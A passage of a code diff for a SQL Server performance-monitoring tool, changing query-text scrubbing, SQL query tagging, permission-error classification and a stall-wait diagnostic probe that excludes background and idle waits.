+        /* #4348: one statement-filter session for this read call (Lite's live read and Darling's backfill both
+           run here). It judges each shipped statement's text below, after the self-exclusion and the boundary
+           break, so a row that never ships is never judged. */
+        var scrub = context.BeginStatementScrub();
+
         /* #1960 boundary-group completion: once the budget trips, rows TIED at the trip row's
            last_execution_time still ship (they are adjacent under the query's ASC order), and the first
            row past the tie ends the cycle. The derived watermark — MAX(last_execution_time) over stored
@@ -1658,6 +1667,13 @@ boundary cannot tie (and a null-watermark row could never have reached the clien
                 break;
             }
 
+            /* #4348: the budget below counts the RAW text, so measure it before the filter swaps in the
+               shorter marker; the cut points then land where they did before the filter existed. Judged here,
+               at the line the text joins the batch, and never again downstream. A Lite or backfill row has no
+               refresh path, so an unjudged text (budget spent) is the marker, the same as a named one. */
+            var rawTextChars = (long)(row.QueryText?.Length ?? 0);
+            row.QueryText = scrub.Text(row.QueryText);
+
             rows.Add(row);
 
             /* char count × 2 for UTF-16. The plan XML is deduped server-side (NULL on all but the newest
@@ -1667,7 +1683,7 @@ and finish the boundary tie group — the host surfaces the WARNING. Rows are re
                OLDEST-first (#1960) and the per-database watermark derives from the newest STORED row, so
                everything past the cut stays ahead of the watermark and next cycle resumes exactly there:
                a bounded cycle costs latency, never data. */
-            textBytes += ((long)(row.QueryText?.Length ?? 0) + (row.QueryPlanText?.Length ?? 0)) * 2L;
+            textBytes += (rawTextChars + (row.QueryPlanText?.Length ?? 0)) * 2L;
 
             if (!budgetSpent && textBytes >= budget)
             {
diff --git a/PerformanceMonitor.Collectors/QueryStoreHealthCollector.cs b/PerformanceMonitor.Collectors/QueryStoreHealthCollector.cs
index b48774f55b..83abdccc0d 100644
--- a/PerformanceMonitor.Collectors/QueryStoreHealthCollector.cs
+++ b/PerformanceMonitor.Collectors/QueryStoreHealthCollector.cs
@@ -131,7 +131,7 @@ public sealed class Row
     private const string OnPremDatabaseListQueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     d.name
 FROM sys.databases AS d
 LEFT JOIN sys.dm_hadr_database_replica_states AS drs
@@ -171,7 +171,7 @@ ORDER BY d.name
     /// has — are this text, in <see cref="ReadRowsAsync"/>'s order.</para>
     /// </summary>
     private const string UngatedPayloadBodyText = @"
-SELECT
+SELECT /* PerformanceMonitorLite */
     actual_state = qso.actual_state_desc,
     desired_state = qso.desired_state_desc,
     readonly_reason = qso.readonly_reason,
diff --git a/PerformanceMonitor.Collectors/QueryStorePerDatabaseState.cs b/PerformanceMonitor.Collectors/QueryStorePerDatabaseState.cs
index 7e8a47147c..dbf4c1005b 100644
--- a/PerformanceMonitor.Collectors/QueryStorePerDatabaseState.cs
+++ b/PerformanceMonitor.Collectors/QueryStorePerDatabaseState.cs
@@ -52,12 +52,20 @@ because a prefix pruned under the wrong collector name silently deletes nothing.
     };
 
     /// <summary>
-    /// Key prefixes on the query_store state classes that are deliberately NOT pruned because they are not
-    /// keyed by database name. Empty today — every prefix either state class declares is per-database — and
-    /// it exists so that stays a recorded decision: the drift guard demands that every declared
+    /// Key prefixes the collectors declare that are deliberately NOT pruned, because a prune cannot rebuild their
+    /// keys as <c>&lt;prefix&gt;&lt;databaseName&gt;</c>. The drift guard demands that every declared
     /// <c>*KeyPrefix</c> appear in one list or the other, so a new server-scoped key is a deliberate entry
     /// here rather than a test failure whose obvious "fix" is to add it to <see cref="PrunableKeys"/> and
     /// have it deleted every cycle.
+    ///
+    /// <para>One member today: <see cref="LegacyLongQuerySession.StateKeyPrefix"/> (#4961), the record that the
+    /// long-query session older versions shared between installs was dropped once. The record for server scope is
+    /// the bare prefix, so a prune that rebuilds keys as prefix + database name would delete it every cycle, and the
+    /// one-time drop would run again each time. An Azure SQL Database's record is one row per database name, and is
+    /// kept.</para>
     /// </summary>
-    public static readonly IReadOnlyList<string> NotKeyedByDatabase = System.Array.Empty<string>();
+    public static readonly IReadOnlyList<string> NotKeyedByDatabase = new[]
+    {
+        LegacyLongQuerySession.StateKeyPrefix,
+    };
 }
diff --git a/PerformanceMonitor.Collectors/RunningJobsCollector.cs b/PerformanceMonitor.Collectors/RunningJobsCollector.cs
index 28fc5f099d..2225ae1657 100644
--- a/PerformanceMonitor.Collectors/RunningJobsCollector.cs
+++ b/PerformanceMonitor.Collectors/RunningJobsCollector.cs
@@ -108,7 +108,7 @@ FROM job_history_raw AS jhr
     GROUP BY
         jhr.job_id
 )
-SELECT
+SELECT /* PerformanceMonitorLite */
     rj.job_name,
     rj.job_id,
     rj.job_enabled,
diff --git a/PerformanceMonitor.Collectors/ServerConfigCollector.cs b/PerformanceMonitor.Collectors/ServerConfigCollector.cs
index a9a1be4608..1deaeacda1 100644
--- a/PerformanceMonitor.Collectors/ServerConfigCollector.cs
+++ b/PerformanceMonitor.Collectors/ServerConfigCollector.cs
@@ -30,7 +30,7 @@ private ServerConfigCollector()
     private const string QueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     configuration_name = c.name,
     value_configured = CONVERT(bigint, c.value),
     value_in_use = CONVERT(bigint, c.value_in_use),
diff --git a/PerformanceMonitor.Collectors/ServerEpoch.cs b/PerformanceMonitor.Collectors/ServerEpoch.cs
index 2883dbb237..a9f03efa38 100644
--- a/PerformanceMonitor.Collectors/ServerEpoch.cs
+++ b/PerformanceMonitor.Collectors/ServerEpoch.cs
@@ -8,8 +8,10 @@
 
 using System;
 using System.Collections.Concurrent;
+using System.Collections.Generic;
 using System.Globalization;
 using System.Runtime.CompilerServices;
+using System.Threading.Tasks;
 
 namespace PerformanceMonitor.Collectors;
 
@@ -243,6 +245,49 @@ public static bool TryParse(string? text, out Stamp stamp)
         return true;
     }
 
+    /// <summary>
+    /// The collectors that persist the instance identity (<see cref="IdentityStateKey"/>), in the order a reader tries
+    /// them: <c>wait_stats</c> carries it, and <c>cpu_utilization</c> keeps carrying it when an operator turns
+    /// <c>wait_stats</c> off.
+    /// </summary>
+    public static readonly IReadOnlyList<string> IdentityCarrierCollectors = new[] { "wait_stats", "cpu_utilization" };
+
+    /// <summary>
+    /// The <c>@@SERVERNAME</c> in one carrier's persisted state (<see cref="IdentityStateKey"/>), or null when the state
+    /// has no identity row or the row holds no name. This is the last name the instance reported, not a live one.
+    /// </summary>
+    public static string? LastKnownName(IReadOnlyDictionary<string, string> state)
+    {
+        ArgumentNullException.ThrowIfNull(state);
+
+        return state.TryGetValue(IdentityStateKey, out var text) && TryParse(text, out var stamp) && !string.IsNullOrWhiteSpace(stamp.Name)
+            ? stamp.Name
+            : null;
+    }
+
+    /// <summary>
+    /// The last-known <c>@@SERVERNAME</c> of one registration, read from its carriers' persisted state in the order
+    /// <see cref="IdentityCarrierCollectors"/> gives: the first carrier whose state holds a name decides, and a carrier
+    /// with no state or no name hands over to the next. Null when none of them holds a name.
+    /// </summary>
+    /// <param name="readCarrierState">Reads one carrier's persisted state, given the carrier's collector name. An app's
+    /// read that fails returns no state, which reads as no name.</param>
+    public static async Task<string?> LastKnownNameAsync(Func<string, Task<Dictionary<string, string>>> readCarrierState)
+    {
+        ArgumentNullException.ThrowIfNull(readCarrierState);
+
+        foreach (var carrier in IdentityCarrierCollectors)
+        {
+            var name = LastKnownName(await readCarrierState(carrier));
+            if (name is not null)
+            {
+                return name;
+            }
+        }
+
+        return null;
+    }
+
     /// <summary>
     /// The instance-identity observation for a SQL Server target — the whole server's baselines ride on it,
     /// because every cumulative DMV on the instance restarts with the instance and belongs to whichever
diff --git a/PerformanceMonitor.Collectors/ServerPropertiesCollector.cs b/PerformanceMonitor.Collectors/ServerPropertiesCollector.cs
index 7130c700ea..16e1317158 100644
--- a/PerformanceMonitor.Collectors/ServerPropertiesCollector.cs
+++ b/PerformanceMonitor.Collectors/ServerPropertiesCollector.cs
@@ -90,7 +90,7 @@ @host_os nvarchar(256),
     @ag_role nvarchar(20) = N'Standalone';
 
 IF OBJECT_ID(N'sys.dm_os_host_info', N'V') IS NOT NULL
-    EXEC sys.sp_executesql N'SELECT @os = host_distribution FROM sys.dm_os_host_info',
+    EXEC sys.sp_executesql N'SELECT /* PerformanceMonitorLite */ @os = host_distribution FROM sys.dm_os_host_info',
         N'@os nvarchar(256) OUTPUT', @os = @host_os OUTPUT;
 
 IF @host_os IS NULL
@@ -106,7 +106,7 @@ AND OBJECT_ID(N'sys.dm_hadr_availability_replica_states') IS NOT NULL
 BEGIN
     DECLARE @ag_detected nvarchar(20);
     EXEC sys.sp_executesql N'
-        SELECT @r = CASE
+        SELECT /* PerformanceMonitorLite */ @r = CASE
             WHEN MAX(CASE WHEN ars.role = 1 THEN 1 ELSE 0 END) = 1 THEN N''Primary''
             WHEN MAX(CASE WHEN ars.role = 2 THEN 1 ELSE 0 END) = 1 THEN N''Secondary''
             ELSE N''Standalone'' END
@@ -160,7 +160,7 @@ OR CONVERT(integer, SERVERPROPERTY(N'EngineEdition')) IN (5, 8)
 BEGIN
     BEGIN TRY
         EXEC sys.sp_executesql
-            N'SELECT @tz = CURRENT_TIMEZONE_ID();',
+            N'SELECT /* PerformanceMonitorLite */ @tz = CURRENT_TIMEZONE_ID();',
             N'@tz nvarchar(128) OUTPUT', @tz = @time_zone_id OUTPUT;
     END TRY
     BEGIN CATCH
@@ -168,7 +168,7 @@ BEGIN CATCH
     END CATCH;
 END;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     server_name =
         CONVERT(nvarchar(128), SERVERPROPERTY(N'ServerName')),
     edition =
@@ -268,7 +268,7 @@ BEGIN TRY
         DECLARE
             @ifi_sql nvarchar(max) =
                 N'
-        SELECT TOP (1)
+        SELECT /* PerformanceMonitorLite */ TOP (1)
             @ifi_out =
                 CASE
                     WHEN ss.instant_file_initialization_enabled = N''Y''
@@ -302,7 +302,7 @@ BEGIN CATCH
     END CATCH;
 END;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     lock_pages_in_memory = @lpim,
     instant_file_initialization_enabled = @ifi,
     memory_dump_count = @dumps;";
diff --git a/PerformanceMonitor.Collectors/SessionStatsCollector.cs b/PerformanceMonitor.Collectors/SessionStatsCollector.cs
index 6035250fec..046ff036df 100644
--- a/PerformanceMonitor.Collectors/SessionStatsCollector.cs
+++ b/PerformanceMonitor.Collectors/SessionStatsCollector.cs
@@ -42,7 +42,7 @@ public readonly record struct Row(
     private const string QueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     program_name =
         ISNULL(des.program_name, N''),
     connection_count =
diff --git a/PerformanceMonitor.Collectors/SessionSummaryStatsCollector.cs b/PerformanceMonitor.Collectors/SessionSummaryStatsCollector.cs
index 4fe8e47924..fa23f5241c 100644
--- a/PerformanceMonitor.Collectors/SessionSummaryStatsCollector.cs
+++ b/PerformanceMonitor.Collectors/SessionSummaryStatsCollector.cs
@@ -75,7 +75,7 @@ public readonly record struct Row(
     private const string QueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     total_sessions = CONVERT(integer, COUNT_BIG(*)),
     running_sessions =
         SUM
diff --git a/PerformanceMonitor.Collectors/SpinlockStatsCollector.cs b/PerformanceMonitor.Collectors/SpinlockStatsCollector.cs
index dd0c96fe1b..b849e85476 100644
--- a/PerformanceMonitor.Collectors/SpinlockStatsCollector.cs
+++ b/PerformanceMonitor.Collectors/SpinlockStatsCollector.cs
@@ -40,7 +40,7 @@ private SpinlockStatsCollector()
     private const string QueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     spinlock_name = ss.name,
     collisions = ss.collisions,
     spins = ss.spins,
diff --git a/PerformanceMonitor.Collectors/SqlServerPermissionErrors.cs b/PerformanceMonitor.Collectors/SqlServerPermissionErrors.cs
index c6b91a0e52..146772cd11 100644
--- a/PerformanceMonitor.Collectors/SqlServerPermissionErrors.cs
+++ b/PerformanceMonitor.Collectors/SqlServerPermissionErrors.cs
@@ -50,6 +50,14 @@ public static class SqlServerPermissionErrors
     /// <item>229 — EXECUTE/SELECT permission denied on an object.</item>
     /// <item>262 — permission denied IN a database (the #2150/#2512 tempdb DMV case).</item>
     /// <item>297 — the user does not have permission to perform this action.</item>
+    /// <item>15247 — "User does not have permission to perform this action." (#5378): what CREATE or ALTER EVENT
+    /// SESSION raises for a login without ALTER ANY EVENT SESSION. It was the one number a monitoring login meets on
+    /// the Extended Events ensure path that the set missed, so a denied long-query session recorded ERROR (and, in
+    /// Lite, was retried every cycle). MS Learn lists it as a permission denial:
+    /// https://learn.microsoft.com/sql/relational-databases/errors-events/database-engine-events-and-errors-15000-to-15999
+    /// Checked and left out: 1088 (cannot find the object; an object-missing error, not a denial), 15151 (cannot
+    /// find the object OR no permission: ambiguous by its own text, which is why the Darling XE read classifies it
+    /// by message), 8189 and 300 are already here, and 297 is already here.</item>
     /// <item>300 — VIEW SERVER STATE denied; on Azure SQL Database a service-objective limit rather
     /// than a missing grant, which is what <c>AzureDmvPermissionHint</c> exists to say.</item>
     /// <item>916 — the principal cannot access the database under the current security context.</item>
@@ -58,5 +66,5 @@ public static class SqlServerPermissionErrors
     /// </list>
     /// </summary>
     public static bool IsPermissionDenied(int sqlErrorNumber)
-        => sqlErrorNumber is 229 or 262 or 297 or 300 or 916 or 8189;
+        => sqlErrorNumber is 229 or 262 or 297 or 300 or 916 or 8189 or 15247;
 }
diff --git a/PerformanceMonitor.Collectors/StallWaitProbe.cs b/PerformanceMonitor.Collectors/StallWaitProbe.cs
index 7f224b7886..d78c4ea49c 100644
--- a/PerformanceMonitor.Collectors/StallWaitProbe.cs
+++ b/PerformanceMonitor.Collectors/StallWaitProbe.cs
@@ -82,7 +82,9 @@ public readonly record struct StallProbeObservation(long ElapsedMs, long RowsRea
 /// </param>
 /// <param name="DistinctWaitTypes">How many distinct wait types those tasks span, again before the cut.</param>
 /// <param name="TopWaitType">
-/// The wait type holding the most total wait time, or <c>null</c> when nothing on the instance was waiting.
+/// The wait type holding the most total wait time among USER-task waits (background system sessions and the
+/// idle wait types in <c>IgnoredWaitDefaults.All</c> are not ranked, see <see cref="StallWaitProbePolicy.QueryText"/>),
+/// or <c>null</c> when no non-idle user task was waiting.
 /// A NULL here beside a positive <paramref name="SchedulerCount"/> is a real finding — an instance answering
 /// a trivial query in milliseconds, producing rows 50x slowly, and waiting on nothing.
 /// </param>
@@ -92,6 +94,14 @@ public readonly record struct StallProbeObservation(long ElapsedMs, long RowsRea
 /// the result set did not describe an instance, and <see cref="StallWaitProbePolicy.OutcomeNoSample"/> says so
 /// rather than storing a row of zeros that reads as a measured all-clear.
 /// </param>
+/// <param name="BackgroundWaitingTasks">Waiting tasks owned by background system sessions, counted in
+/// <paramref name="WaitingTaskCount"/> but left out of the ranking.</param>
+/// <param name="BackgroundWaitTypes">Distinct wait types among those background tasks.</param>
+/// <param name="CollectorSessions">How many distinct sessions matching this service's application name and client host
+/// have a request; 0 when none is visible.</param>
+/// <param name="CollectorWaitType">The oldest such request's current wait, or <c>null</c> while it is running.</param>
+/// <param name="CollectorWaitMs">That wait's duration in milliseconds, or <c>null</c> when no session is visible.</param>
+/// <param name="CollectorLastWaitType">That request's last wait type.</param>
 public sealed record StallWaitSample(
     long WaitingTaskCount,
     int DistinctWaitTypes,
@@ -103,7 +113,13 @@ public sealed record StallWaitSample(
     long RunnableTasks,
     long WorkQueueLength,
     long PendingDiskIo,
-    int MaxRunnableTasks);
+    int MaxRunnableTasks,
+    long BackgroundWaitingTasks = 0,
+    int BackgroundWaitTypes = 0,
+    long CollectorSessions = 0,
+    string? CollectorWaitType = null,
+    long? CollectorWaitMs = null,
+    string? CollectorLastWaitType = null);
 
 /// <summary>
 /// The out-of-band server-wide wait sample #2880 asks for: the bounds it runs under, the condition that fires
@@ -124,8 +140,10 @@ public sealed record StallWaitSample(
 /// producer-side and payload-independent: in the body before each abandoned run the four cheapest collectors
 /// (sub-5 KB payloads, <c>drain_ms: 0</c>) showed <c>open_ms</c> degraded 3x to 152x against their own
 /// baselines, 9 of 9 across both affected servers. Everything on the instance is slow to produce rows, so our
-/// session is one victim among many and its own wait would most likely read <c>ASYNC_NETWORK_IO</c>, which a
-/// stalled drain generates by definition and which therefore cannot establish direction.</para>
+/// session is one victim among many. The server-wide view stays the headline, and this service's own session
+/// is sampled BESIDE it, matched by application name and client host rather than by id: an
+/// <c>ASYNC_NETWORK_IO</c> there means the instance was waiting on this service's client, which the
+/// server-wide ranking alone cannot show.</para>
 /// </summary>
 public static class StallWaitProbePolicy
 {
@@ -175,7 +193,7 @@ public static class StallWaitProbePolicy
     ///
     /// <para><b>Generous against what the probe actually has to do.</b> The same forensics measured the four
     /// cheapest collectors completing in 128-448 ms INSIDE a degraded body, and the one open measured on a
-    /// stalled connection was 104 ms. Two DMV scans on a fresh connection is that shape of work, so 10 s is
+    /// stalled connection was 104 ms. A handful of in-memory DMV reads on a fresh connection is that shape of work, so 10 s is
     /// roughly 20x the observed cost of a comparable query on a comparably degraded instance — not a tight
     /// bound the probe is expected to brush against, a ceiling for the case where the instance has stopped
     /// answering at all.</para>
@@ -387,23 +405,50 @@ declaring a tight one. */
     /// <summary>
     /// The server-wide sample, as one result set of at most <see cref="TopWaitTypeCount"/> rows.
     ///
-    /// <para><b>Two DMV scans and no temp table, deliberately.</b> Staging the wait aggregate first would give
+    /// <para><b>Six in-memory DMV reads and no temp table, deliberately.</b> Staging the wait aggregate first would give
     /// one consistent snapshot instead of two scans milliseconds apart, and that is the house pattern for a
     /// heavy query — but this one runs against an instance that may be stalled ON tempdb or on IO, and
     /// creating an object there to serve a diagnostic is exactly how a watchdog becomes the second problem.
     /// <c>sys.dm_os_waiting_tasks</c> reads in-memory structures, so the cost of reading it twice is
-    /// negligible and the skew between the totals and the top-N cut is milliseconds on a headline sample.</para>
+    /// negligible and the skew between the totals and the top-N cut is milliseconds on a headline sample. The six
+    /// reads are <c>sys.dm_os_schedulers</c>, <c>sys.dm_os_waiting_tasks</c> twice (totals and ranking, each
+    /// joined to <c>sys.dm_exec_sessions</c>), and <c>sys.dm_exec_sessions</c> with <c>sys.dm_exec_requests</c>
+    /// twice for this service's own session (once to count its sessions, once for the oldest request); each
+    /// is in-memory and all are bounded by <see cref="HardBudget"/>.</para>
     ///
-    /// <para><b>No ignored-wait filter, unlike <see cref="WaitingTasksCollector"/>.</b> That collector feeds a
-    /// trend surface an operator reads all day, so <c>IgnoredWaitDefaults</c> earns its place there. This is a
-    /// forensic sample of an instance that has gone 50x slow at producing rows, and the candidate causes —
-    /// scheduler starvation above all — live squarely among the wait types a trend surface calls benign.
-    /// Filtering here would delete the answer.</para>
+    /// <para><b>Two things do not rank: background tasks and the idle waits, and both are counted.</b> A wait
+    /// held by a background system session (<c>is_user_process = 0</c>) is left out: a thread parked for
+    /// weeks cannot explain a stall, and on one production server (#5097) five engine-internal idle waits
+    /// outranked everything in all 96 probes over four days. A session the DMV cannot show counts as a user
+    /// session (<c>ISNULL(es.is_user_process, 1) = 1</c>), so the degraded case is the unfiltered ranking, never
+    /// a smaller one. The second exclusion is by wait TYPE, and it is the shared <c>IgnoredWaitDefaults.All</c>
+    /// set and nothing else (#5267): the availability-group health check runs <c>sp_server_diagnostics</c> on
+    /// an ordinary connection (<c>is_user_process = 1</c>), so its <c>SP_SERVER_DIAGNOSTICS_SLEEP</c> idle wait
+    /// outranked every real wait on an availability-group server. That list is the one both SKUs already agree
+    /// is idle, and it holds none of the starvation, lock, latch or IO waits (<c>SOS_SCHEDULER_YIELD</c>,
+    /// <c>THREADPOOL</c>, <c>ASYNC_NETWORK_IO</c> and the lock, latch and IO waits still rank). It does hold
+    /// a few XE-target and cluster-API waits (<c>XE_FILE_TARGET_TVF</c>, <c>PREEMPTIVE_XE_GETTARGETSTATE</c>,
+    /// <c>HADR_CLUSAPI_CALL</c>): another session in one of them does not block this service's collector, and
+    /// when this service's OWN collector is the one stuck in a listed wait it is still named in the 'ours'
+    /// tail, which the exclusion never touches. The list is rendered into the text from the set the first
+    /// time the text is read, sorted ordinally, and each name is checked against <c>^[A-Z0-9_]+$</c> first;
+    /// a name that fails the check fails the probe (recorded as <c>QUERY_FAILED</c>), not the policy. The match is on the wait name alone: a session-text or batch-text join would
+    /// cost more than the probe is allowed on an instance that may be stalled. The totals
+    /// (<c>all_waiting_tasks</c>, <c>distinct_wait_types</c>) stay unfiltered. <c>background_waiting_tasks</c> /
+    /// <c>background_wait_types</c> say how many tasks the ranking left out as background, and
+    /// <c>idle_waiting_tasks</c> / <c>idle_wait_types</c> how many it left out as idle; a task is in one
+    /// count or the other, never both, so the two add up to what was dropped. The scheduler aggregate, the
+    /// primary evidence for starvation, is untouched.</para>
     ///
-    /// <para><b>The instance's own sessions are all included; only the probe's is excluded.</b> There is no
-    /// session id to exclude the stalled collector by (see the type comment), and it should not be excluded
-    /// anyway — a server-wide sample that omitted the most interesting session would answer a different
-    /// question.</para>
+    /// <para><b>This service's own session is sampled beside the server-wide view, by program and host name,
+    /// not by session id.</b> The probe connection shares the collector connection's application name and
+    /// client host, so <c>APP_NAME()</c> and <c>HOST_NAME()</c> match the collector's sessions with no id
+    /// at all (<c>collection_log.target_session_id</c> is not usable for this). <c>collector_sessions</c>
+    /// counts every distinct matching session with a request (under MARS one session can carry several
+    /// requests), apart from the single oldest request that supplies the
+    /// wait columns. Limits: two services on one client host monitoring one server share both names, and a
+    /// concurrent second reader on the same target (the Query Store backfill) can supply the oldest request
+    /// instead of the stalled one; the summary says "oldest of N" when N is above one.</para>
     ///
     /// <para><b><c>OUTER APPLY</c> so the result set has a row even when nothing is waiting.</b> An empty
     /// result and an idle instance would otherwise be the same absence of rows, and "answering trivial
@@ -417,9 +462,93 @@ declaring a tight one. */
     /// of following it without exception is that the next reader does not have to work out whether an
     /// exception was reasoned or accidental.</para>
     /// </summary>
-    public const string QueryText = @"
+    public static string QueryText => RenderedQuery.Value;
+
+    /// <summary>
+    /// Renders the text the first time <see cref="QueryText"/> is read, not when
+    /// <see cref="StallWaitProbePolicy"/> loads. A static field of the policy would run
+    /// <see cref="BuildQueryText"/> in the policy's type initialiser, and a bad entry in the shared idle list
+    /// would then make every member of the policy throw <c>TypeInitializationException</c>
+    /// (<see cref="HardBudget"/>, <see cref="Decide"/> and <see cref="Outcomes"/> are used by every budgeted
+    /// collector). Here the same failure surfaces only where the text is used, inside the probe's own
+    /// try block (<c>StallWaitProbeRunner.RunAsync</c>'s catch), and is recorded as that probe's
+    /// <c>QUERY_FAILED</c> outcome with the builder's own message, since a <see cref="Lazy{T}"/> rethrows the
+    /// original exception and not a <c>TypeInitializationException</c> wrapper.
+    /// </summary>
+    private static readonly Lazy<string> RenderedQuery = new(() => BuildQueryText());
+
+    /// <summary>The idle-wait placeholder in <see cref="QueryTemplate"/>, replaced by the rendered list.</summary>
+    private const string IdleWaitToken = "<<idle-wait-list>>";
+
+    private const string WaitNamePattern = "^[A-Z0-9_]+$";
+
+    /// <summary>
+    /// <see cref="QueryTemplate"/> with <see cref="IdleWaitToken"/> replaced by <paramref name="waitTypes"/> as
+    /// <c>N'…'</c> literals, sorted ordinally, four to a line. Every name is checked against
+    /// <c>^[A-Z0-9_]+$</c> first, so a name that could end the literal early is refused rather than emitted.
+    /// </summary>
+    internal static string BuildQueryText(IEnumerable<string>? waitTypes = null)
+    {
+        var names = new List<string>(waitTypes ?? IgnoredWaitDefaults.All);
+
+        /* The check runs before the sort: a null name would otherwise throw ArgumentNullException from the
+           comparer, and the documented failure is InvalidOperationException. */
+        foreach (var name in names)
+        {
+            if (name is null || !System.Text.RegularExpressions.Regex.IsMatch(name, WaitNamePattern, System.Text.RegularExpressions.RegexOptions.CultureInvariant))
+            {
+                throw new InvalidOperationException(
+                    "An idle wait type is not a plain wait name and cannot be rendered into the stall probe: " + (name ?? "(null)"));
+            }
+        }
+
+        names.Sort(StringComparer.Ordinal);
+
+        if (names.Count == 0)
+        {
+            throw new InvalidOperationException("The idle wait list is empty, and the stall probe needs it.");
+        }
+
+        var list = new StringBuilder();
+
+        for (var i = 0; i < names.Count; i++)
+        {
+            if (i > 0)
+            {
+                list.Append(i % 4 == 0 ? ",\n        " : ", ");
+            }
+
+            list.Append("N'").Append(names[i]).Append('\'');
+        }
+
+        return QueryTemplate.Replace(IdleWaitToken, list.ToString(), StringComparison.Ordinal);
+    }
+
+    private const string QueryTemplate = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
+/* Sessionless tasks (dispatcher-pool and on-demand workers) are excluded from both the totals and the
+   ranking, as before, by the explicit session_id IS NOT NULL. The ISNULL(es.is_user_process, 1) fallback
+   applies only to a task whose session id is set but whose session this login cannot see. The idle list is
+   rendered ONCE, here, as is_idle per task; the totals and the ranking both read that flag. */
+WITH waiting AS
+(
+    SELECT
+        wait_type = owt.wait_type,
+        wait_duration_ms = owt.wait_duration_ms,
+        is_user_process = es.is_user_process,
+        is_idle =
+            CASE WHEN owt.wait_type IN
+            (
+                <<idle-wait-list>>
+            ) THEN 1 ELSE 0 END
+    FROM sys.dm_os_waiting_tasks AS owt
+    LEFT JOIN sys.dm_exec_sessions AS es
+      ON es.session_id = owt.session_id
+    WHERE owt.wait_type IS NOT NULL
+    AND   owt.session_id IS NOT NULL
+    AND   owt.session_id <> @@SPID
+)
 SELECT /* PerformanceMonitorDarling stall probe */
     wait_type = w.wait_type,
     waiting_tasks = w.waiting_tasks,
@@ -431,7 +560,15 @@ declaring a tight one. */
     runnable_tasks = s.runnable_tasks,
     work_queue_length = s.work_queue_length,
     pending_disk_io = s.pending_disk_io,
-    max_runnable_tasks = s.max_runnable_tasks
+    max_runnable_tasks = s.max_runnable_tasks,
+    background_waiting_tasks = t.background_waiting_tasks,
+    background_wait_types = t.background_wait_types,
+    collector_sessions = cs.collector_sessions,
+    collector_wait_type = c.collector_wait_type,
+    collector_wait_ms = c.collector_wait_ms,
+    collector_last_wait_type = c.collector_last_wait_type,
+    idle_waiting_tasks = t.idle_waiting_tasks,
+    idle_wait_types = t.idle_wait_types
 FROM
 (
     SELECT
@@ -447,24 +584,55 @@ CROSS JOIN
 (
     SELECT
         all_waiting_tasks = COUNT_BIG(*),
-        distinct_wait_types = CONVERT(integer, COUNT_BIG(DISTINCT owt.wait_type))
-    FROM sys.dm_os_waiting_tasks AS owt
-    WHERE owt.wait_type IS NOT NULL
-    AND   owt.session_id <> @@SPID
+        distinct_wait_types = CONVERT(integer, COUNT_BIG(DISTINCT wt.wait_type)),
+        background_waiting_tasks =
+            ISNULL(SUM(CASE WHEN wt.is_user_process = 0 THEN CONVERT(bigint, 1) ELSE CONVERT(bigint, 0) END), 0),
+        background_wait_types =
+            CONVERT(integer, COUNT_BIG(DISTINCT CASE WHEN wt.is_user_process = 0 THEN wt.wait_type END)),
+        idle_waiting_tasks =
+            ISNULL(SUM(CASE WHEN ISNULL(wt.is_user_process, 1) <> 0 AND wt.is_idle = 1 THEN CONVERT(bigint, 1) ELSE CONVERT(bigint, 0) END), 0),
+        idle_wait_types =
+            CONVERT(integer, COUNT_BIG(DISTINCT CASE WHEN ISNULL(wt.is_user_process, 1) <> 0 AND wt.is_idle = 1 THEN wt.wait_type END))
+    FROM waiting AS wt
 ) AS t
 OUTER APPLY
 (
     SELECT TOP (5)
-        wait_type = owt.wait_type,
+        wait_type = wt.wait_type,
         waiting_tasks = COUNT_BIG(*),
-        total_wait_ms = SUM(CONVERT(bigint, owt.wait_duration_ms)),
-        max_wait_ms = MAX(CONVERT(bigint, owt.wait_duration_ms))
-    FROM sys.dm_os_waiting_tasks AS owt
-    WHERE owt.wait_type IS NOT NULL
-    AND   owt.session_id <> @@SPID
-    GROUP BY owt.wait_type
-    ORDER BY SUM(CONVERT(bigint, owt.wait_duration_ms)) DESC, owt.wait_type ASC
+        total_wait_ms = SUM(CONVERT(bigint, wt.wait_duration_ms)),
+        max_wait_ms = MAX(CONVERT(bigint, wt.wait_duration_ms))
+    FROM waiting AS wt
+    WHERE ISNULL(wt.is_user_process, 1) = 1
+    AND   wt.is_idle = 0
+    GROUP BY wt.wait_type
+    ORDER BY SUM(CONVERT(bigint, wt.wait_duration_ms)) DESC, wt.wait_type ASC
 ) AS w
+OUTER APPLY
+(
+    SELECT
+        collector_sessions = COUNT_BIG(DISTINCT es.session_id)
+    FROM sys.dm_exec_sessions AS es
+    JOIN sys.dm_exec_requests AS er
+      ON er.session_id = es.session_id
+    WHERE es.program_name = APP_NAME()
+    AND   es.host_name = HOST_NAME()
+    AND   es.session_id <> @@SPID
+) AS cs
+OUTER APPLY
+(
+    SELECT TOP (1)
+        collector_wait_type = er.wait_type,
+        collector_wait_ms = CONVERT(bigint, er.wait_time),
+        collector_last_wait_type = er.last_wait_type
+    FROM sys.dm_exec_sessions AS es
+    JOIN sys.dm_exec_requests AS er
+      ON er.session_id = es.session_id
+    WHERE es.program_name = APP_NAME()
+    AND   es.host_name = HOST_NAME()
+    AND   es.session_id <> @@SPID
+    ORDER BY er.start_time ASC, er.session_id ASC
+) AS c
 ORDER BY w.total_wait_ms DESC, w.wait_type ASC
 OPTION(RECOMPILE);";
 
@@ -489,6 +657,14 @@ ORDER BY SUM(CONVERT(bigint, owt.wait_duration_ms)) DESC, owt.wait_type ASC
         long workQueueLength = 0;
         long pendingDiskIo = 0;
         var maxRunnableTasks = 0;
+        long backgroundWaitingTasks = 0;
+        var backgroundWaitTypes = 0;
+        long idleWaitingTasks = 0;
+        var idleWaitTypes = 0;
+        long collectorSessions = 0;
+        string? collectorWaitType = null;
+        long? collectorWaitMs = null;
